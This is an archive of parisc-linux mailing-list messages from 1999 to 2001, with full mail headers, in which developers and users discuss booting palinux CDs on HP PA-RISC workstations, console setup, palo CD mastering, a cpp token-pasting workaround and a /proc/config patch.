Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id HAA16284
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Jan 2001 07:00:05 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14GLdl-0001bJ-00; Wed, 10 Jan 2001 13:50:13 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101100631.XAA16714@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Tue, Jan 09, 2001 at 11:31:49PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9127

On Tue, Jan 09, 2001 at 11:31:49PM -0700, John Marvin wrote:
> 
> I just discovered that the gnu cpp doesn't allow * and = to be concatenated.
> What I am trying to do is the following:

GNU cpp does do some slightly strange things to avoid accidentally creating
C tokens.  However, you should be able to work around this behaviour by using
the ## operator.  try...

>     ADDIB>      -1,%r1,1b
>     ADDIB=      -1,%arg3,fdoneloop

ADDIB##>
ADDIB##=

instead?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Beta CD
Date: Wed, 10 Jan 2001 16:07:36 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD87AC@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619508 10079 80.91.229.3 (22 Nov 2014 01:25:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:08 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "'pjlahaie@linuxcare.com'" <pjlahaie@linuxcare.com>
Original-X-From: JSO@europay.com  Wed Jan 10 08:05:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA16808
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Jan 2001 08:05:39 -0700
Original-Received: (qmail 26736 invoked by uid 15267); 10 Jan 2001 15:09:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26723 invoked from network); 10 Jan 2001 15:09:10 -0000
Original-Received: from mail.europay.com (HELO epirel991.europay.com) (193.75.200.45)
  by mailserv2.iuinc.com with SMTP; 10 Jan 2001 15:09:10 -0000
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592da05105dfedc5@epirel991.europay.com>;
 Wed, 10 Jan 2001 16:08:32 +0100
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <Z16L0P1D>; Wed, 10 Jan 2001 16:07:15 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:9128

Hello Paul,

I use your CD image (palinux-0.5.iso) first as a base to trying to use PDC
console on a C110 model.

As it finally does not work yet, I install your CD as it is with supplied
Debian packages.

"debhelper" complaint at configure phase because of "file" package
dependencies.

Ok, I download sources of last release from Debian server and try to rebuild
this package.

It fails and in the log of configure: /usr/bin/ld: cannot open crt1.o: no
such a file or directory.

It remembers me an old problem
(http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/08-Aug/0202.h
tml).
(I not sure that it exists a link between problems but the coincidence is
strange) [I do not actually try to find the solution because it was largely
recommended to work with a i386 linux and I had this opportunity some time
after]

I suspect that you already met the problem and may be have you the solution
or a good work around.

Do I have to used another release of gcc (under 
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace I found other gcc
and binutils binaries. But is it for palinux?)?

Another way should be to use the cross-compiler on a i386 linux box (as it
seems enough stable). But if I well found the way to build native .deb
packages (http://www.debian.org/doc/packaging-manuals/packaging.html/), I do
not find here the way for "cross-pacakging"?

Thanks in advance for help,
	Joel


**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C110 - palinux-0.5.iso boot but...
Date: Wed, 10 Jan 2001 09:38:26 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <200101101738.JAA05001@milano.cup.hp.com>
References: <A4A5E4C468B5D11190220001FA6835DD04DD87A8@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619509 10089 80.91.229.3 (22 Nov 2014 01:25:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:09 +0000 (UTC)
Cc: "'Karsten Merker'" <karsten@excalibur.cologne.de>,
        "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Original-X-From: grundler@cup.hp.com  Wed Jan 10 10:33:22 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA17729
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Jan 2001 10:33:22 -0700
Original-Received: (qmail 8378 invoked by uid 15267); 10 Jan 2001 17:36:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8356 invoked from network); 10 Jan 2001 17:36:53 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 10 Jan 2001 17:36:53 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 77AE99C0; Wed, 10 Jan 2001 09:36:51 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA05001;
	Wed, 10 Jan 2001 09:38:32 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 10 Jan 2001 11:43:23 PST."
             <A4A5E4C468B5D11190220001FA6835DD04DD87A8@EPIXCH003> 
Xref: news.gmane.org gmane.linux.ports.parisc:9129


> What I do find strange anyway: if I try CTRL+ALT+DEL on the keyboard
> connected to mother board (i.e. PDC keyboard?) the awaiting reboot is well
> launch (except if I apply the patch
> http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/12-Dec/0254.ht
> ml which also display more on the PDC console but "warning can not initial
> console" and go back to serial port console?)

I've seen this warning with the console patch applied and an *old* palo.
When Mathew Wilcox committed changes for the console support, he
also committed palo changes. palinux-0.5.iso has the old palo and thus
current kernels are slightly incompatible WRT console support.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: RE: [parisc-linux] Beta CD
Date: Wed, 10 Jan 2001 19:00:12 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD87AF@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619509 10095 80.91.229.3 (22 Nov 2014 01:25:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:09 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "'pjlahaie@linuxcare.com'" <pjlahaie@linuxcare.com>
Original-X-From: JSO@europay.com  Wed Jan 10 10:58:16 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA17980
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Jan 2001 10:58:15 -0700
Original-Received: (qmail 19452 invoked by uid 15267); 10 Jan 2001 18:01:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19419 invoked from network); 10 Jan 2001 18:01:47 -0000
Original-Received: from mail.europay.com (HELO epirel991.europay.com) (193.75.200.45)
  by mailserv2.iuinc.com with SMTP; 10 Jan 2001 18:01:47 -0000
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592dd551067df517@epirel991.europay.com>;
 Wed, 10 Jan 2001 19:01:09 +0100
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <Z16L0QZC>; Wed, 10 Jan 2001 18:59:53 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id KAA17980
Xref: news.gmane.org gmane.linux.ports.parisc:9130

Oops I just figure out that crt1.o is supply by glibc which is well in the
install/debian-hppa but not in deb package format but as a tarball. May I
install it like this or does it exists already somewhere the package
(easiest for maintenance. no?)

Thanks a lot,
	Joel

> -----Original Message-----
> From:	SOETE Jol 
> Sent:	Wednesday, January 10, 2001 4:08 PM
> To:	'pjlahaie@linuxcare.com'
> Cc:	'parisc-linux@thepuffingroup.com'
> Subject:	RE: [parisc-linux] Beta CD 
> 
> Hello Paul,
> 
> I use your CD image (palinux-0.5.iso) first as a base to 
> trying to use PDC console on a C110 model.
> 
> As it finally does not work yet, I install your CD as it is 
> with supplied Debian packages.
> 
> "debhelper" complaint at configure phase because of "file" 
> package dependencies.
> 
> Ok, I download sources of last release from Debian server and 
> try to rebuild this package.
> 
> It fails and in the log of configure: /usr/bin/ld: cannot 
> open crt1.o: no such a file or directory.
> 
> It remembers me an old problem 
> (http://puffin.external.hp.com/mailing-lists/parisc-linux/2000
> /08-Aug/0202.html).
> (I not sure that it exists a link between problems but the 
> coincidence is strange) [I do not actually try to find the 
> solution because it was largely recommended to work with a 
> i386 linux and I had this opportunity some time after]
> 
> I suspect that you already met the problem and may be have 
> you the solution or a good work around.
> 
> Do I have to used another release of gcc (under 
> ftp://puffin.external.hp.com/pub/parisc/binaries/userspace I 
> found other gcc and binutils binaries. But is it for palinux?)?
> 
> Another way should be to use the cross-compiler on a i386 
> linux box (as it seems enough stable). But if I well found 
> the way to build native .deb packages 
> (http://www.debian.org/doc/packaging-manuals/packaging.html/),
>  I do not find here the way for "cross-pacakging"?
> 
> Thanks in advance for help,
> 	Joel


**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Who do I ask?
Date: Wed, 10 Jan 2001 11:32:45 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <E14GQ3B-00054d-00@noam.fc.hp.com>
References: <3A5A4DED1F4.416EJCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619509 10098 80.91.229.3 (22 Nov 2014 01:25:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Josiah Carlson <jcarlson@macalester.edu>
Original-X-From: bame@fc.hp.com  Wed Jan 10 11:29:20 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA18345
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Jan 2001 11:29:18 -0700
Original-Received: (qmail 10720 invoked by uid 15267); 10 Jan 2001 18:32:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10686 invoked from network); 10 Jan 2001 18:32:48 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 10 Jan 2001 18:32:48 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 8F2BF352; Wed, 10 Jan 2001 13:32:46 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id LAA16685;
	Wed, 10 Jan 2001 11:32:45 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14GQ3B-00054d-00; Wed, 10 Jan 2001 11:32:45 -0700
In-Reply-To: Your message of "Mon, 08 Jan 2001 17:31:57 CST."
             <3A5A4DED1F4.416EJCARLSON@smtp.macalester.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9131

= First off, Thank you for writing the docs on how to boot and load linux
= off of a CD.
= It is very helpful.  Though on most of the workstations I've tried
= booting, the machine locks up at "Switching from PDC console".
= Do you have an idea on how to fix this, or who I should talk to?
= Thank you,
=  - Josiah Carlson

I've cc-ed the mailing list you should use for asking palinux
questions (parisc-linux@thepuffingroup.com).  I recommend
checking our FAQ and archives for the answer to this
question.  The web site (with the FAQ and mailing list
info among other things) is at www.parisc-linux.org and you can
(crudely) search the e-mail archives at puffin.external.hp.com/cgi-bin/mailgrep

You didn't mention which version of the CD you have (that would be
helpful) or which workstations you're trying (that would be helpful too)
but I'm guessing you're trying to boot our CD on a machine which is
set up for a graphics console.  The CDs only work with serial consoles
so try plugging a terminal (9600 8N1) into the #1 serial port.

Please suggest ways that these resources (web site, mailing
list) are more obvious on our next CD since we obviously have
a problem.  Thanks!

	-P


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PALO CD Creation
Date: Wed, 10 Jan 2001 15:07:02 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20010110150702.A30218@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619510 10100 80.91.229.3 (22 Nov 2014 01:25:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Wed Jan 10 13:04:12 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA19050
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Jan 2001 13:04:11 -0700
Original-Received: (qmail 18041 invoked by uid 15267); 10 Jan 2001 20:07:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17698 invoked from network); 10 Jan 2001 20:07:34 -0000
Original-Received: from erouter1.it-datacntr.louisville.edu (136.165.1.15)
  by mailserv2.iuinc.com with SMTP; 10 Jan 2001 20:07:34 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP id 62CBE2352E
	for <parisc-linux@thepuffingroup.com>; Wed, 10 Jan 2001 15:07:33 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id 1C7E3C15; Wed, 10 Jan 2001 15:07:03 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:9132

Hey,

I've been building the latest kernel stuff, and I see that its getting
close to complketiong for the STI console.  First off I'd have to say
great job so far.  I would like to create a bootable CD with one of the
kernels I have built from cvs.  The kernel boots on a 755 and 735
throught the network, but there are other machines I've been asked to
try this on, and I need a CD.  I've read through the README from the
palo sources and followed the steps to create a CD, but I have a
question about this steps.  Are all the steps executed on an HPUX
machine, a PARISC machine, or a standard linux machine?  If they are
created on a linux machine, where can someone get the palo binary for
i386 linux.  Also, the README needs a little bit of an update too I
think, since we now have to pass console=[tty0|ttyS0] to palo.

Thanks,
-- 
Phillip Beal                           ___           _               _   
Electrical and Computer Engineering   | _ ) ___ __ _| |___  _ _  ___| |_ 
pdbeal@louisville.edu                 | _ \/ -_) _` | |_ /_| ' \/ -_)  _|
http://www.bealz.net/                 |___/\___\__,_|_/__(_)_||_\___|\__|


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO CD Creation
Date: Wed, 10 Jan 2001 13:20:52 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <m14GRjp-001Vp3C@chalet>
References: <20010110150702.A30218@athena.louisville.edu>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619510 10105 80.91.229.3 (22 Nov 2014 01:25:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Phillip D. Beal" <pdbeal@louisville.edu>
Original-X-From: bame@bame.riverrock.org  Wed Jan 10 13:19:33 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA19277
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Jan 2001 13:19:32 -0700
Original-Received: (qmail 14248 invoked by uid 15267); 10 Jan 2001 20:23:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14229 invoked from network); 10 Jan 2001 20:23:04 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 10 Jan 2001 20:23:04 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp
	id <m14GRjp-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Wed, 10 Jan 2001 13:20:53 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Wed, 10 Jan 2001 15:07:02 EST."
             <20010110150702.A30218@athena.louisville.edu>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:9133

= Hey,
= 
= I've been building the latest kernel stuff, and I see that its getting
= close to complketiong for the STI console.  First off I'd have to say
= great job so far.  I would like to create a bootable CD with one of the
= kernels I have built from cvs.  The kernel boots on a 755 and 735
= throught the network, but there are other machines I've been asked to
= try this on, and I need a CD.  I've read through the README from the
= palo sources

Sometimes the README.html is more up to date -- README is derived from it.

= and followed the steps to create a CD, but I have a
= question about this steps.  Are all the steps executed on an HPUX
= machine, a PARISC machine, or a standard linux machine?  If they are
= created on a linux machine, where can someone get the palo binary for
= i386 linux.

I master the CD and run palo on x86 Linux.  If you're using x86 to
cross-compile your Linux kernels you have the required palo binary
already.  Since the CD mastering software is probably not yet compiled
for palinux I think x86 Linux is your best choice.

= Also, the README needs a little bit of an update too I
= think, since we now have to pass console=[tty0|ttyS0] to palo.

The kernel command line is not specific to parisc and so the standard
Linux documentation should be used.  Palo's README does not duplicate
this information -- it should only document what's specific to palo
(kernel and ramdisk specifications) though I know it has a couple of
other things in there right now.

	-P


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo van der Kooij <Hugo.van.der.Kooij@caiw.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ready to go!
Date: Sat, 29 May 1999 23:12:19 +0200 (CEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9905292311070.25944-100000@bastion.nl3155vj16.vanderkooij.org>
References: <001c01beaa14$d4002640$5b0e070a@monorailpc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619510 10109 80.91.229.3 (22 Nov 2014 01:25:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Hugo.van.der.Kooij@caiw.nl  Sat May 29 15:12:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA03175
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 May 1999 15:12:38 -0600
Original-Received: (qmail 20055 invoked by uid 15267); 29 May 1999 21:12:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20048 invoked from network); 29 May 1999 21:12:06 -0000
Original-Received: from mailserv.caiw.nl (194.178.9.133)
  by mailserv2.iuinc.com with SMTP; 29 May 1999 21:12:06 -0000
Original-Received: (from root@localhost) by mailserv.caiw.nl (8.8.5/8.6.12) id XAA25831 for <parisc-linux@thepuffingroup.com>; Sat, 29 May 1999 23:13:12 +0200 (MET DST)
Original-Received: from k3nw287.dial.kabelfoon.nl(195.193.25.32), claiming to be "bastion.nl3155vj16.vanderkooij.org"
 via SMTP by mailserv.caiw.nl, id smtpdAAAa25823; Sat, 29 May 1999 23:13:06 +0200
Original-Received: from bastion.nl3155vj16.vanderkooij.org (bastion.nl3155vj16.vanderkooij.org [192.168.100.254])
	by bastion.nl3155vj16.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id XAA29753
	for <parisc-linux@thepuffingroup.com>; Sat, 29 May 1999 23:12:21 +0200
X-Sender: hvdkooij@bastion.nl3155vj16.vanderkooij.org
In-Reply-To: <001c01beaa14$d4002640$5b0e070a@monorailpc>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:9134

On Sat, 29 May 1999, Ross Sponholtz wrote:

> Alright!  I finally got my HP 715.  Now I need to get started with the project.  I was planning on getting MkLinux going, but apparently, the opengroup site with the software has been taken down.  Does anyone have the disk image that I could ftp?  Also, is everyone booting off the network (for development purposes)?

The 715/33 won't run mklinux at all. Basically one of the reasons I have
set my hopes on the real PARISC port. (Which I will patiently await.)

Hugo.

-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl		 http://www.caiw.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: linux bame
Date: Wed, 10 Jan 2001 23:31:49 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20010110233149.A18122@parcelfarce.linux.theplanet.co.uk>
References: <200101102108.OAA19847@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619511 10114 80.91.229.3 (22 Nov 2014 01:25:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:11 +0000 (UTC)
Cc: parisc-linux-cvs@puffin.external.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Wed Jan 10 16:28:19 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA20944
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Jan 2001 16:28:19 -0700
Original-Received: (qmail 16214 invoked by uid 15267); 10 Jan 2001 23:31:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16200 invoked from network); 10 Jan 2001 23:31:51 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 10 Jan 2001 23:31:51 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14GUib-0004p6-00; Wed, 10 Jan 2001 23:31:49 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101102108.OAA19847@puffin.external.hp.com>; from bame@puffin.external.hp.com on Wed, Jan 10, 2001 at 02:08:27PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9136

On Wed, Jan 10, 2001 at 02:08:27PM -0700, Paul Bame wrote:
> Log message:
> First-pass attempt at /proc/config, mostly from grant.  Seems to work
> fine with 'cat', but 'tail' and 'wc' aren't reliable with my userspace.

umm.  this has often been discussed for addition to the standard linux
kernel, but linus has not yet taken patches to do so.  i suggest searching
linux-kernel archives to see the arguments, i got bored and didn't read
them so i can't summarise.  i don't think this is something we should
be adding.

tail and wc invariably don't work on /proc files.  neither does less.
this is pretty inherent to the design of /proc and not a reflection on
your code.

> NOTE THIS IS ONLY VISIBLE on the proc_config branch.

it might be better to let this branch wither...

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aleksandr Konstantinov <sanjak@tipas.lt>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting palinux on model 735 problems.
Date: Mon, 11 Jan 1999 14:50:46 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <3699F3A6.1A7AFB31@tipas.lt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619511 10116 80.91.229.3 (22 Nov 2014 01:25:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:11 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: sanjak@tipas.lt  Thu Jan 11 07:02:54 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA29813
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 07:02:52 -0700
Original-Received: (qmail 13104 invoked by uid 15267); 11 Jan 2001 14:06:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12962 invoked from network); 11 Jan 2001 14:06:16 -0000
Original-Received: from rfk.ff.vu.lt (193.219.83.105)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2001 14:06:16 -0000
Original-Received: by rfk.ff.vu.lt
	(1.38.193.4/16.2) id AA21036; Sun, 11 Jan 1998 15:34:30 +0100
Original-Received: from siny.rfk.ff.vu.lt(192.168.1.102) by rfk.ff.vu.lt via smap (V2.1)
	id xma021034; Sun, 11 Jan 98 15:34:12 +0100
Original-Sender: sanjak@tipas.lt
X-Mailer: Mozilla 4.07 [en] (X11; I; Linux 2.2.16 i686)
Xref: news.gmane.org gmane.linux.ports.parisc:9137

Hello All.

  I have problem.
 We have here two HP Apollo 9000 Series 700 Model 735 boxes (both
identical).  I tried to boot
palinux-0.5.iso on one of them. Because boxes have no cdrom I did it
through network using 
rbootd (slightly modified to accept empty target names) giving it whole
cdrom device as target.
It started ok, listed all devices available on board and passed to (all
strings are copied from
screen)

  ASP version 20 at f0800000 found.

Then it waits a bit and writes at screen

  Running stack from ...

and dumps a lot of data. Then it ends with

  High Priority Machine Check (HPMC): Code=1 regs=c026d080
(Addr=00000000)
